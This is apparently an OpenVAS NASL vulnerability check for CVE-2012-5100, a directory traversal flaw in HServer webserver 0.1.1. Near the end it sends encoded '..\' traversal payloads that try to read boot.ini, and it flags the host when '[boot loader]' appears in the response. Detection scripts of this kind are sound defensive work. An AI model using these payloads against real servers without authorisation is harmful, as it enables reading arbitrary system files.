HServer Webserver Multiple Directory Traversal Vulnerabilities

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_hserver_webserver_mult_dir_trav_vuln.nasl 5833 2017-04-03 08:45:01Z cfi $
#
# HServer Multiple Webserver Directory Traversal Vulnerabilities
#
# Authors:
# Antu Sanadi <[email protected]>
#
# Copyright:
# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will allow attacker to obtain sensitive
information that could aid in further attacks.

Impact Level: Application";

tag_affected = "HServer webserver version 0.1.1";

tag_insight = "The flaws are due to improper validation of URI containing
'..\..\' sequences, which allows attackers to read arbitrary files via
directory traversal attacks.";

tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";

tag_summary = "The host is running HServer Webserver and is prone to multiple
directory traversal vulnerabilities.";

if(description)
{
  script_id(802410);
  script_version("$Revision: 5833 $");
  script_cve_id("CVE-2012-5100");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"$Date: 2017-04-03 10:45:01 +0200 (Mon, 03 Apr 2017) $");
  script_tag(name:"creation_date", value:"2012-01-06 13:10:29 +0530 (Fri, 06 Jan 2012)");
  script_name("HServer Webserver Multiple Directory Traversal Vulnerabilities");
  script_xref(name : "URL" , value : "http://www.securityfocus.com/archive/1/521119");
  script_xref(name : "URL" , value : "http://packetstormsecurity.org/files/108376/hserverwebserver-traversal.txt");
  script_xref(name : "URL" , value : "https://github.com/lpicanco/hserver");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2012 Greenbone Networks GmbH");
  script_family("Web Servers");
  script_dependencies("find_service.nasl", "http_version.nasl");
  script_require_ports("Services/www", 8081);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

# hServer is not sending any "Server:" banner
port = get_http_port(default:8081);

## Construct attack request
exploits  = make_list("/..%5c..%5c..%5cboot.ini",
                      "/%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini");

## Check for each exploit
foreach url (exploits)
{
   ## Try exploit and check the response to confirm vulnerability
   if(http_vuln_check(port:port, url:url, pattern:"\[boot loader\]"))
   {
     security_message(port:port);
     exit(0);
   }
}

exit(99);